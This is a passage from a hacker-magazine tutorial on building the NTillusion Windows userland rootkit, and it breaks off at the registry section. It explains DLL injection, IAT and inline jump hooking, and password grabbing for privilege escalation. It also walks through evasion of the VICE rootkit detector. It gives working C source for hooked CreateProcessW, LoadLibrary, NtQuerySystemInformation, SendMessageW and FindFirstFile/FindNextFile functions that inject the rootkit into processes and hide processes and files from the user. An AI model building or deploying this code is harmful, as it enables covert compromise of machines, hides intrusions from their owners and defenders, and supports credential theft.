3.4. Setting a global hook to take over userland

3.5. Local application take over

4. Replacement functions

4.1. Process hiding

4.2. File hiding

4.3. Registry

4.4. Netstat like tools.

4.4.1. The case of windows 2000

4.4.1.1. Hooking GetTcpTable

4.4.1.2. Defeating netstat

4.4.1.2. Defeating Fport

4.4.2. The case of windows XP

4.5. Global TCP backdoor / password grabber

4.6. Privilege escalation

4.7. Module stealth

5. Ending

5.1. Conclusion

5.2. Greets

6. References

‑‑‑‑‑‑‑[ 1. Introduction

A rootkit is a program designed to control the behavior of a given machine. This is often used to hide the illegitimate presence of a backdoor and others such tools. It acts by denying the listing of certain elements when requested by the user, affecting thereby the confidence that the machine has not been compromised.

There are different kinds of rootkits. Some act at the very bases of the operating system by sitting in kernel land, under the privileged ring 0 mode. Some others run under lower privileges in ring 3 and are called user land rootkits, as they target directly the user's applications instead of the system itself. These ring 3 rootkits have encountered a recrudescence the last years since it is somewhat more portable and polyvalent than ring 0 ones.

As there are multiple ways to stay unseen under windows, this article performs a windows rootkitting tutorial based on a strong implementation called the [NTillusion rootkit] which fits maximum constraints.

This rootkit has been designed to be able to run under the lowest privileges for a given account under windows. Indeed, it doesn't use any administrative privilege to be able to perform its stealth as it resides directly inside processes that are owned by the current user. In a word, all the ring 3 programs that a user might use to enumerate files, processes, registry keys, and used ports are closely controlled so they won't reveal unwanted things. Meanwhile, the rootkit silently waits for passwords, allowing the load of any device driver as soon as an administrator password is caught.

How does this works?

All this stuff is done in two steps. First, by injecting the rootkit's code inside each application owned by the current user and finally, by replacing strategic functions by provided ones. Theses tricks are performed at run time against a running process rather than on hard disk on binaries since it allows to work around the windows file protection, antiviral and checksum tools as well. The rootkit has been tested successfully under windows 2000/XP, but may also run on older NTs. It's architecture allows it to be ported to windows 9x/Me but some functions are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on this version of the OS.

This introduction would not have been achieved without comments about the different sections of the paper that present each special characteristics. Section 3 deals about user land take over. This mechanism has already been presented by Holy_Father in [HIDINGEN]. However it is here done in a different way. In fact, the rootkit acts globally a level higher so things are changed and it results in a somewhat simpler but efficient spreading method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not need the administrative privilege. So the approach I propose is different. This approach is also different when speaking about the way functions are chosen and replaced.

This is the case with section 4 which introduces an uncommon way to replace original functions. On one hand, the functions are most of the time replaced at kernel level. So, I hope this paper shows that performing a good stealth is possible also in userland. On the other hand when thinking about API replacement, people try to dig as much as possible in order to hook at the lowest level. This is sometimes a good thing, sometimes not. This is especially true with portability, which suffers from this run to low level. NTillusion replaces top level APIs as often as possible. As windows designers want programs that rely on the documented API to be portable from one windows version to another, and as the rootkit hijacks critical functions among this documented API, portability is accrued. Thereby there's no need to perform OS version check and it results in a more universal rootkit. Added to that, this section offers a new way for privilege escalation by showing how hooking the POP3/FTP traffic is possible in order to get login and passwords.

This is not the only new thing: section 4.7 offers a new way to hide a DLL loaded inside a given process. Usually, this would have been done by hooking modules enumeration APIs inside the memory space of each process able to reveal the rootkit. However I show how this is possible to do this by dealing directly with undocumented structures pointed by the Process Environment Block. Once this has been done, there's not need to worry about subsequent detection. To test this method I downloaded a rootkit detector, [VICE], and scaned my system. With no rootkit loaded, VICE produced most of the time some false positive for standart DLLs (kernel32/ ntdll/...). Once the rootkit was loaded and using this technique, there was no noticable change and VICE was still accusing some system DLLs to be rootkits as before but there was no record about kNTIllusion.dll that was however doing the job efficiently.

‑‑‑‑‑‑‑[ 2. Code Injection and interception

The goal of this section is to allow a process to replace the functions of another. This involves getting control of the target process, then to replace parts of it's memory carefully. Let's begin with code injection. So altering the behavior of a process requires to break into it's memory space in order to execute some code to do the job. Fortunately, windows perfors checks to prevent an application to read or write memory of an other application without its permission. Nevertheless the windows programmers included several ways to bypass the native inter‑process protection so patching other processes' memory at runtime is a true possibility. The first step in accessing a running process is done trough the OpenProcess API. If the application possesses the correct security permissions, the function returns a handle to deal with the process, in the other case, it denies access. By triggering a proper privilege, a user may get access to a privilegded process as we'll see later. In Windows NT, a privilege is some sort of flag granted to a user that allows the user to override what would normally be a restriction to some part of the operating system. This is the bright side. But unfortunately there is also a seamy side. In fact there's multiple ways to break into the memory space of a running process and running hostile code in it, by using documented functions of the windows API. The following methods have already been covered in the past so I will only give an overview.

‑‑‑‑‑‑‑[ 2.1. System Hooks

The most known technique uses the SetWindowsHookEx function which sets a hook in the message event handler of a given application. When used as a system hook, i.e. when the hook is set for the whole userland, by relying on a code located in a dll, the operating system injects the dll into each running process matching the hook type. For example, if a WH_KEYBOARD hook is used and a key is pressed under notepad, the system will map the hook's dll inside notepad.exe memory space. Easy as ABC... For more information on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time used for developping pacthes or automating user manipulations but the following method is from far more eloquent.

‑‑‑‑‑‑‑[ 2.2. CreateRemoteThread

Another gift for windows coders is the CreateRemoteThread API. As its name points out, it allows the creation of a thread inside the memory space of a target process. This is explained by Robert Kuster in [3WAYS]. When targeting a process running in a more privileged context, a rootkit may acquire God Power by activating the SeDebugPrivilege. For more information see the rootkit code. [NTillusion rootkit] Although this method seems interesting, it is from far widespread and easy to defeat using a security driver. See also [REMOTETH] for other info. More over, any injected DLL with this method will be easily noticed by any program performing basic module enumeration. Section 4.7 offers a solution to this problem, while the following section presents a less known way to run code inside a target process.

‑‑‑‑‑‑‑[ 2.3. Manipulating thread's context

CreateRemoteThread isn't the only debugging API that may be used to execute code into a target process. The principle of the following technique is to reroute a program's execution flow to malicious code injected in the program's memory space. This involves three steps. First, the injector chooses a thread of this process and suspends it. Then, it injects the code to be executed in the target process memory as before, using VirtualAllocEx/WriteProcessMemory, and changes a few addresses due to changes in memory position. Next, it sets the address of the next instruction to be executed for this thread (eip register) to point to the injected code and restarts the thread. The injected code is then executed in the remote process. Finally it arranges for a jump to the next instruction that should have been executed if the program had followed its normal course, in order to resume its activity as soon as possible. The idea of manipulating the thread's context is exposed in [LSD]. Other methods also exist to trigger the load of a given DLL inside the memory space of a target process.

By design, the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Windows\AppInit_DLLs key gathers the DLL to be loaded by the system inside each process relying on user32.dll. Added to that come the BHO, standing for browser help objects, that act as plugins for webbrowsers, enabling the load of any sort of code.

But just taking over a process is not enough...

Once the target process' memory space is under control, it's possible to replace its own functions by provided ones.

Code interception routines are critical since they had to meet efficiency and speed requirements. The methods presented in this section have their own advantages and drawbacks. As for the injection techniques, there's more than one way to do the job. The goal of the methods is to redirect another program's function when it is loaded in memory. For the target program, everything takes place as if it had called the desired functions as usual. But in fact the call is redirected to the replacement API. Some methods of API interception are based on features intentionally provided by the designers of the PE format to simplify the loader's task when a module is mapped into memory. The function redirection takes place once the code we inject into the target process is executed. To understand how these methods work, a thorough understanding of the PE format is needed; see [PE] and hang on with courage, the following methods are useful.

‑‑‑‑‑‑‑[ 2.4. Redirecting the Import Address Table

After injecting our code into the application's memory space, it is possible to change its behavior. We use a technique called "API hooking" which involves replacing the API by our own routines. The most common way to do this is to alter the import address table of a given module. When a program is executed, its various zones are mapped into memory, and the addresses of the functions it calls are updated according to the windows version and service pack. The PE format provides a clever solution to do this update, without patching every single call. When you compile your program, each call to an external API is not directly pointing to the function's entry point in memory. It is using a jump involving a dword pointer, whose address is among a table called the Import Address Table (IAT), since it contains the address of each imported function. At load time, the loader just needs to patch each entry of the IAT to modify the target of each call for all API.

Thus, to hijack, we simply patch the IAT to make the memory point to our code instead of the true entry point of the target API. In this way, we have total control over the application, and any subsequent calls to that function are redirected. This general idea of the technique which is detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is from far a non secure way. Undirect Call may be missed. To prevent this, there's only one solution... inserting an unconditional jump!

‑‑‑‑‑‑‑[ 2.5. Inserting an unconditional jump (jmp)

This technique involves modifying the machine code of a given API so that it executes an unconditional jump to a replacement function. Thus any call direct or indirect to the hooked API will inevitably be redirected to the new function. This is the type of function redirection used by the Microsoft Detours Library [DETOURS]. In theory, redirection by inserting of an unconditional jump is simple: you simply locate the entry point of the API to be hijacked an insert an unconditional jump to the new function. This technique make us lose the ability to call the original API, however; there are two ways to work around that inconvenience. The first is the method used in the famous hxdef rootkit, or Hacker Defender which is now open source [HKDEF_RTK]. The idea is to insert an unconditional jump while saving the overwritten instruction in a buffer zone. When the original API must be called, the redirection engine restores the real API, calls it, then repositions the hook. The problem with this technique is that it is possible to lose the hook. If things go wrong, there is a chance that the hook will not be restored when exiting the API. An even bigger risk is that another thread of the application may access the API between the time it is restored and the time when the hook is repositioned. Thus, as its creator Holy_Father knows, there is a chance that some calls may be lost when using this method.

However, there is another solution for calling the original API. It involves creating a buffer containing the original version of the API's modified memory zone, followed by a jump to and address located 5 bytes after the start of the zone. This jump allows to continue the execution of the original function just after the unconditional jump that performs the redirection to the replacement function. It seems simple?

No, it isn't. One detail that I voluntarily left out until now: the problem of disassembling instructions. In machine code, instructions have a variable length. How can we write an unconditional five‑byte jump while being sure not to damage the target code ("cutting an instruction in half")? The answer is simple: in most cases we just use a basic disassembly engine. It allows to recover as many complete instructions as required to reach the size of five bytes, i.e. the area just big enough the insert the unconditional jump. The useful redirection engine used in the rootkit is the one created by Z0MbiE (see [ZOMBIE2]).

This hooking method, somewhat particular has been covered by Holy_Father. Refer to [HKDEF] if you are interested.

Hum, That's all folks about prerequisite. Now we're going to consider how to build a win32 rootkit using these techniques. Le'ts play!

‑‑‑‑‑‑‑[ 3. User land take over

‑‑‑‑‑‑‑[ 3.1 User land vs Kernel land rootkits

Most of the time, to achieve their aim kernel land rootkits simply replace the native API with some of their own by overwriting entries in the Service Descriptor Table (SDT). Against a normal windows system, they don't have to worry about persistence as once the hook is set, it will hijack all subsequent calls for all processes. This isn't the case for win32 ring 3 rootkits, acting at user level. In fact, the hook isn't global as for kernel ones, and the rootkit must run its code inside each process able to reveal its presence.

Some decide to hook all processes running on the machine including those of the SYSTEM groups. It requires advanced injection techniques, hooking methods and to target API at very low level.

Let me explain. Consider we want some directories not to be noticed when browsing the hard drive using explorer. A quick look at explorer.exe's Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W So we may hook these functions. At first it seems tedious to hook all these functions rather than going a level under. Yeah, these functions rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to hook this one instead. This is true for a given version of windows. But this isn't ideal for compatibility. The more low level the functions are, the more they're subject to change. Added to that, it is sometimes undocumented. So on the one hand, there's hijacking at low level, more accurate but somewhat hazardous, and on the other hand, hijacking at high level, less accurate, but from far simpler to set up.

NTillusion hijacks API at high level since I never designed it to reside into system processes. Each choice has a bright side and a seamy side. The following points describe the restrictions I wanted the rootkit to fit and the constraints windows imposes to processes.

‑‑‑‑‑‑‑[ 3.2 Restrictions...

The rootkit is made to be able to perform its stealth for the current user on the local machine. This is especially designed for cases where administrator level is unreachable for some reason. This shows that getting root is sometimes not necessary to be lurking. It represents a true threat in this case, since windows users have the bad habit to set their maximum privilege on their account instead of triggering it using runas to become admin only when needed. So, if the user is not currently admin, he probably isn't at all, so a user land rootkit will perfectly do the job. Otherwise, it's time to go kernel mode.

Thus, the rootkit is designed to only require privileges of the current user to become unseen to its eyes, whether this is an admin or not. Then it starts waiting for passwords collected by users using the runas method, allowing privilege escalation. It may also spy web traffic to dynamically grab pop3/ftp passwords on the fly. This is possible but a little bit too vicious...

‑‑‑‑‑‑‑[ 3.3 ...and constraints

As you should now know, windows maintains a native inter‑process protection so a process won't access another if this one doesn't belong to its group or does not present the administrator nor debug privilege. So the rootkit will be restrained to affect processes of the current user. Contrariwise, if it got admin privilege, it may add itself to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key and hide its presence, being then active for all users on the machine. Due to the rootkit architecture, privileged processes will be able to see the system as it really is. So remote administration may reveal the rootkit, as much as FTP or HTTP servers running as services. The solution of this problem is to affect also system processes but the task is somewhat desperate and too considerable to just play the game of cat and mouse.

‑‑‑‑‑‑‑[ 3.4 Setting a global hook to take over userland

To be efficient, the rootkit must run under all visible applications that may reveal unwanted presence. Performing an injection try for each running process when the rootkit loads is not a good idea since it won't affect processes that would be run later. A perfect way to achieve this is to set a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore, the rootkit's dll will be injected into all running graphical processes, as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only processes using user32.dll, therefore it won't affect some console programs. This is the case of windows cmd, netstat, and so on. Thereby, the rootkit must also affect processes so that it will be notified and injected when a process creation is about to be done. This is achieved by hooking the CreateProcessW function into all injected processes. This way, the rootkit will be running inside any newly created process. The CreateProcessW replacement and the system hook are complementary methods. This combination perfectly covers all situations : the execution of a graphical or console process from explorer, the taskmanager or any other application. It also has the advantage to inject the rootkit into the taskmanager when the user triggers Ctrl+Alt+Del. In this case, the taskmanager is created by winlogon which isn't hijacked by the rootkit. But the system hook is injected into as soon as it is created, since it is a graphical process. To prevent a process from being injected twice, the rootkit modifies pDosHeader‑>e_csum to be equal to NTI_SIGNATURE. When the Dll is loaded it first checks the presence of this signature and exits properly if needed. This is only a safety since a check is performed in DllMain to be sure that the reason DllMain is called matches DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped inside the memory space of the application, while subsequent calls to LoadLibrary will only increase load counter for this module and be marked as DLL_THREAD_ATTACH.

The following code is the CreateProcessW replacement of the NTIllusion rootkit. It contains a backdoor by design: if the application name or its command line contains RTK_FILE_CHAR, the process is not hooked, thus allowing some programs not to be tricked by the rootkit. This is useful to launch hidden processes from windows shell that performs a search before delegating the creation of the process to CreateProcessW.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,

LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)

{

int bResult, bInject=1;

char msg[1024], cmdline[256], appname[256];

/* Resolve CreateProcessW function address if it hasn't been filled

by IAT hijack. This happens when the function isn't imported at IAT level but resolved at runtime using GetProcAddresss. */

if(!fCreateProcessW)

{

fCreateProcessW = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),

"CreateProcessW");

if(!fCreateProcessW) return 0;

}

/* Clear parameters */

my_memset(msg, 0, 1024);

my_memset(cmdline, 0, 256);

my_memset(appname, 0, 256);

/* Convert application name and command line from unicode : */

WideCharToMultiByte(CP_ACP, 0,(const unsigned short *) lpApplicationName, ‑1, appname, 255,NULL, NULL); WideCharToMultiByte(CP_ACP, 0,(const unsigned short *) lpCommandLine, ‑1, cmdline, 255,NULL, NULL);

/* Call original function first, in suspended mode */

bResult = (int) fCreateProcessW((const unsigned short *) lpApplicationName,

(unsigned short *)lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED /*dwCreationFlags*/, lpEnvironment,

(const unsigned short*)lpCurrentDirectory, (struct _STARTUPINFOW *)lpStartupInfo, lpProcessInformation);

/* inject the created process if its name & command line don't

contain RTK_FILE_CHAR */

if(bResult)

{

if(

(lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) || (lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR)) )

{

OutputString("\n[i] CreateProcessW: Giving true sight to process '%s'...\n", (char*)appname); WakeUpProcess(lpProcessInformation‑>dwProcessId); bInject = 0;

}

if(bInject)

InjectDll(lpProcessInformation‑>hProcess, (char*)kNTIDllPath);

CloseHandle(lpProcessInformation‑>hProcess); CloseHandle(lpProcessInformation‑>hThread);

}

return bResult;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note that the child process is created in suspended mode, then injected by the Dll using CreateRemoteThread. The DLL hook function next wakes the current process up by resuming all its threads. This assures that the process has not executed a single line of its own code during the hijack time.

‑‑‑‑‑‑‑[ 3.5 Local application take over

Being injected into all processes in the system is the first step to take the ownership of user land. When being able to act anywhere, it must keep its control and prevent any newly loaded module to escape the function hooking that has been set in order to hide unwanted things. So it is strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook modules as soon as they are loaded into memory. The following function demonstrates how to replace LoadLibraryA in order to prevent hooking escape.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* LoadLibrary : prevent a process from escaping hijack by loading a new

dll and calling one of its functions */

HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )

{

HINSTANCE hInst= NULL;/* DLL handle (by LoadLibrary)*/

HMODULE hMod= NULL;/* DLL handle (by GetModuleHandle) */

char *lDll = NULL;/* dll path in lower case */

/* get module handle */

hMod = GetModuleHandle(lpLibFileName);

/* Load module */

hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);

/* Everything went ok? */

if(hInst)

{

/* If the DLL was already loaded, don't set hooks a second

time */

if(hMod==NULL)

{

/* Duplicate Dll path to perform lower case comparison*/

lDll = _strdup( (char*)lpLibFileName );

if(!lDll)

goto end;

/* Convert it to lower case */

_strlwr(lDll);

/* Call hook function */

SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

free(lDll);

}

}

end:

return hInst;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As the hijacking method used is entry point rewriting, we must check that the DLL has not been yet loaded before performing the hooking. Otherwise, this may trigger an infinite loop when calling the original function. The job is partially done by SetUpHooks that will perform the hooking on already loaded module only at program startup.

About GetProcAddress:

At first NTillusion rootkit was using an IAT hijacking method in order to replace file, process, registry and network APIs to perform its stealth. Under winXP, all worked perfectly. But when I tested it under win2000 I noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't fill the IAT correctly for a few functions such as CreateProcessW, so the address written doesn't always correspond to the API entry point [EXPLORIAT]. Scanning the IAT looking for API name instead of it's address does not solve the problem. It seems that explorer is performing something strange... So I moved from an IAT hijacking engine needing to hook GetProcAddress in order to prevent hook escape, to the unconditional jump insertion that does not need to filter calls to this API. Anyway, you can try to hijack GetProcAddress and send the details of each call to debug output. The amount of GetProcAddress calls performed by explorer is amazing and its study, instructive.

‑‑‑‑‑‑‑[ 4. Replacement functions

Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core of the replacement functions.

‑‑‑‑‑‑‑[ 4.1. Process hiding

The main target when speaking about process hiding is the taskmanager. Studying its Import Table reveals that it performs direct calls to ntdll.NtQuerySystemInformation, so this time, hijacking API at higher level is useless and the situation leaves no choice. The role of the replacement function is to hide the presence of each process whose image name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is done through a call to the [NtQuerySystemInformation] API.

NTSTATUS NtQuerySystemInformation(

SYSTEM_INFORMATION_CLASS SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

The NtQuerySystemInformation function retrieves various kinds of system information. When specifying SystemInformationClass to be equal to SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_ INFORMATION structures, one for each process running in the system. These structures contain information about the resource usage of each process, including the number of handles used by the process, the peak page‑file usage, and the number of memory pages that the process has allocated, as described in the MSDN. The function returns an array of SYSTEM_PROCESS_INFORMATION structures though the SystemInformation parameter.

Each structure has the following layout:

typedef struct _SYSTEM_PROCESS_INFORMATION

{

DWORD NextEntryDelta;

DWORD dThreadCount;

DWORD dReserved01;

DWORD dReserved02;

DWORD dReserved03;

DWORD dReserved04;

DWORD dReserved05;

DWORD dReserved06;

FILETIME ftCreateTime;/* relative to 01‑01‑1601 */

FILETIME ftUserTime;/* 100 nsec units */

FILETIME ftKernelTime;/* 100 nsec units */

UNICODE_STRING ProcessName;

DWORD BasePriority;

DWORD dUniqueProcessId;

DWORD dParentProcessID;

DWORD dHandleCount;

DWORD dReserved07;

DWORD dReserved08;

DWORD VmCounters;

DWORD dCommitCharge; SYSTEM_THREAD_INFORMATION ThreadInfos[1];

} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

Hiding a process is possible by playing with the NextEntryDelta member of the structure, which represents an offset to the next SYSTEM_PROCESS_ INFORMATION entry. The end of the list is marked by a NextEntryDelta equal to zero.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*MyNtQuerySystemInformation : install a hook at system query

level to prevent _nti* processes from being shown.

Thanks to R‑e‑d for this function released in rkNT rootkit. (error checks stripped)

*/

DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)

{

PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;

char *pname = NULL;

DWORD rc;

/* 1st of all, get the return value of the function */

rc = fNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

/* if sucessful, perform sorting */

if (rc == STATUS_SUCCESS)

{

/* system info */

switch (SystemInformationClass)

{

/* process list */

case SystemProcessInformation:

pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)

SystemInformation;

while (1)

{

/* alloc memory to save process name in AINSI

8bits string charset */

pname = (char *) GlobalAlloc(GMEM_ZEROINIT, pSpiCurrent‑>ProcessName.Length + 2);

/* Convert unicode string to ainsi */

WideCharToMultiByte(CP_ACP, 0, pSpiCurrent‑>ProcessName.Buffer, pSpiCurrent‑>ProcessName.Length + 1,

pname, pSpiCurrent‑>ProcessName.Length + 1, NULL, NULL);

/* if "hidden" process*/

if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR, strlen(RTK_PROCESS_CHAR)))

{

/* First process */

if (pSpiCurrent‑>NextEntryDelta == 0)

{

pSpiPrec‑>NextEntryDelta = 0;

break;

}

else

{

pSpiPrec‑>NextEntryDelta += pSpiCurrent‑>NextEntryDelta;

pSpiCurrent =

(PSYSTEM_PROCESS_INFORMATION) ((PCHAR)

pSpiCurrent +

pSpiCurrent‑>NextEntryDelta);

}

}

else

{

if (pSpiCurrent‑>NextEntryDelta == 0) break; pSpiPrec = pSpiCurrent;

/* Walk the list */

pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)

((PCHAR) pSpiCurrent +

pSpiCurrent‑>NextEntryDelta);

}

GlobalFree(pname);

} /* /while */

break;

} /* /switch */

} /* /if */

return (rc);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Previously I said that targeting NtQuerySystemInformation was the only solution. This is not entirely true. It's contrariwise sure that hooking Process32First/Next won't help but it's still possible to do otherwise. At first I chose to hook SendMessage, therefore hiding at ListBox control level. This is a very specific approach to the problem and is undocumented. Spying the behavior of the taskmanager on process creation with Spy++ shows that it uses the row telling about system idling process and changes its name to show the newly created process by sending a LVM_SETITEMTEXT message. So, first it overwrites the content of this ListBox item's line, and then add a new "Idle process" line by sending a LVM_INSERTITEMW message. Filtering these two types of message let us control what the taskmanager shows. Not very professional but efficient.

The following function replaces SendMessageW inside the task manager to prevent the program to send messages related to hidden process.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 4 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MySendMessageW : install a hook at display level (that is to say at

ListBox level) to prevent _* processes from being shown */

LRESULT WINAPI MySendMessageW(

HWND hWnd,/* handle of destination window */

UINT Msg,/* message to send */

WPARAM wParam,/* first message parameter */

LPARAM lParam)/* second message parameter */

{

LPLVITEM pit; /* simple pointer to a LVITEM structure */

/* Filter events */

if(Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW || Msg==LVM_SETITEMTEXTW)

{

/* If process name starts by '_', hide it*/

if( ((char)(pit‑>pszText))=='_' )

{

hWnd=Msg=wParam=lParam=NULL;

return 0;

}

}

/* in the other case, just call the genuine function */

return fSendMessageW(hWnd,Msg,wParam,lParam);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This very high level hook does the job but it will only work for taskmgr.exe.

‑‑‑‑‑‑‑[ 4.2. File hiding

Another frequently asked question is how to hide files. As explained above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from far sufficient to defeat explorer view, the dir command, and all dialog boxes provided by the Common Controls.

According the [MSDN] the FindFirstFile function searches a directory for a file or subdirectory whose name matches the specified name. HANDLE FindFirstFile(

LPCTSTR lpFileName,

LPWIN32_FIND_DATA lpFindFileData

);

The function takes two parameters. A null‑terminated string that specifies a valid directory or path and file name, which can contain wildcard characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA structure that receives information about the found file or subdirectory. If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose.

If the function fails, the return value is INVALID_HANDLE_VALUE.

The FindFirstFile function is called to begin a file search. If it succeed, the search may be pursued by calling FindNextFile.

BOOL FindNextFile(

HANDLE hFindFile,

LPWIN32_FIND_DATA lpFindFileData

);

The hFindFile parameter is a handle returned by a previous call to FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData points to a the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to see the found file or directory. The function succeeds if it returns nonzero.

Let's have a look at the WIN32_FIND_DATA structure. The important member is cFileName which is a null‑terminated string that specifies the name of the file.

typedef struct _WIN32_FIND_DATA {

DWORD dwFileAttributes;

FILETIME ftCreationTime;

FILETIME ftLastAccessTime;

FILETIME ftLastWriteTime;

DWORD nFileSizeHigh;

DWORD nFileSizeLow;

DWORD dwReserved0;

DWORD dwReserved1;

TCHAR cFileName[MAX_PATH]; /* full file name */

TCHAR cAlternateFileName[14]; /* file name in the classic 8.3

(filename.ext) file name format. */

} WIN32_FIND_DATA,

*PWIN32_FIND_DATA;

To perform a directory listing, an application calls FindFirstFile, and then calls FindNextFile using the returned handle, until it returns zero. The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly except that the Wide version performs calls to WideCharToMultiByte, in order to convert unicode strings to ainsi.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 5 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyFindFirstFileA : hides protected files from file listing

(error checks stripped)*/

HANDLE WINAPI MyFindFirstFileA(

LPCTSTR lpFileName,

LPWIN32_FIND_DATA lpFindFileData)

{

HANDLE hret= (HANDLE)1000;/* return handle */

int go_on=1;/* loop flag */

/* Process request */

hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

/* Then filter: while we get a 'hidden file', we loop */

while( go_on &&

!_strnicmp(lpFindFileData‑>cFileName, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR)))

{

go_on = fFindNextFileA(hret, lpFindFileData);

}

/* Oops, no more files? */

if(!go_on)

return INVALID_HANDLE_VALUE;

return hret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 5 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And now let's replace FindNextFileA:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ EXAMPLE 6 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* MyFindNextFileA : hides protected files from being listed */

BOOL WINAPI MyFindNextFileA(

HANDLE hFindFile,

LPWIN32_FIND_DATA lpFindFileData

)

{

BOOL ret;/* return value */

/* While we get a file that should not be shown, we get another : */

do

{

ret = fFindNextFileA(hFindFile, lpFindFileData);

} while( !_strnicmp(lpFindFileData‑>cFileName, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR)) && ret!=0);

/* We're out of the loop so we may check if we broke because there

is no more files. If it's the case, we may clear the LPWIN32_FIND_DATA structure as this : my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));

*/

return ret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END EXAMPLE 6 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑[ 4.3. Registry

